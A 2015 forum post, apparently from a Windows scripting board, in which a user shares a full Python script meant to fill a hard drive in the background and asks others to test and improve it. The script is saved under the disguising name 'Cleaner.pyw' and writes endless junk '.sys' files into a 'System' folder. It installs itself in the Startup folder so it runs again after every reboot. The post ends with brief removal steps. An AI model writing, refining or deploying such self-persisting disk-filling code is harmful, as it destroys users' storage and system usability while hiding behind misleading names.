[Python] Script that eats hard drive! (in background)

Discussion in 'Scripting' started by nkniesche, Aug 21, 2015.

Tags:
  1. nkniesche

    nkniesche MDL Novice

    Jul 29, 2015
    4
    0
    0
    #1 nkniesche, Aug 21, 2015
    Last edited by a moderator: Apr 20, 2017
    This is my first post here so if I do things wrong please inform me. :mushy:

    I wrote a python script that writes files in a loop (in the background) with the goal of filling up the hard drive's space.

    Copy this code into a new notepad file and save the file as "Cleaner.pyw" (not .py).
    Code:
    
    #Version 0.4
    
    
    import os
    import time, getpass, shutil
    
    
    #finds the name of user currently logged in, then creates a new directory (this is where sotrage-eating files will be written to)
    z = getpass.getuser()
    newpath = r'C:/Users/'+ z + '/System'
    os.makedirs(newpath)
    
    
    #creates a python script in the directory just created. This file, process.pyw, will be writing the storage-eating files
    file = open("C:/Users/" + z + "/System\process.pyw", "w")
    file.write("import string\n")
    file.write("import random\n")
    file.write("import os.path\n")
    file.write("import os\n")
    file.write("import getpass\n")
    file.write("import time\n")
    file.write("z = getpass.getuser()\n")
    file.write("x = 1\n")
    file.write("var = 1\n")
    file.write("while x < 50000000:\n")
    file.write('    name = ""\n')
    file.write('    name = str(var)\n')
    file.write('    name += ".sys"\n')
    file.write("    completeName = os.path.join('C:/Users/' + z + '/System', name)\n")
    file.write('    file = open(completeName, "w")\n')
    counter = 0
    while counter < 8000:
        file.write('    file.write("I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage! I am eating all your storage!")\n')
        counter += 1
    file.write("    file.close()\n")
    file.write("    x += 1\n")
    file.write("    var += 1\n")
    file.write("time.sleep(2)\n")
    file.write("os.startfile('C:/Users/' + z + '/System/process.pyw')\n")
    file.close()
    
    
    #copies process.pyw to startup
    shutil.copy(newpath + "/process.pyw", "C:/Users/" + z + "/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup")
    os.startfile(newpath + '/process.pyw')
    
    Open it.

    Can you guys tell me if it works for you? It works on my computer, but I want to see how well it works on others. I'd also appreciate any tips on how to make the script better, more efficient, etc...

    (To check if it works, look in "C:/Users/your_username/". If there is a Folder called "System" there, and that folder contains lots of files, and more are being created as you view the folder, then it worked.)

    If you don't know how to stop it (since it copies itself to startup):
    -Open task manager
    -End all Python and pythonw processes.
    -Go to the startup tab.
    -Find "process" and disable it

    NOTE: This currently only works if your Hard Drive's name is C:/. If it isn't, wherever C:/ appears in the code, change it to your drive's name, for example D:/.

    Thanks!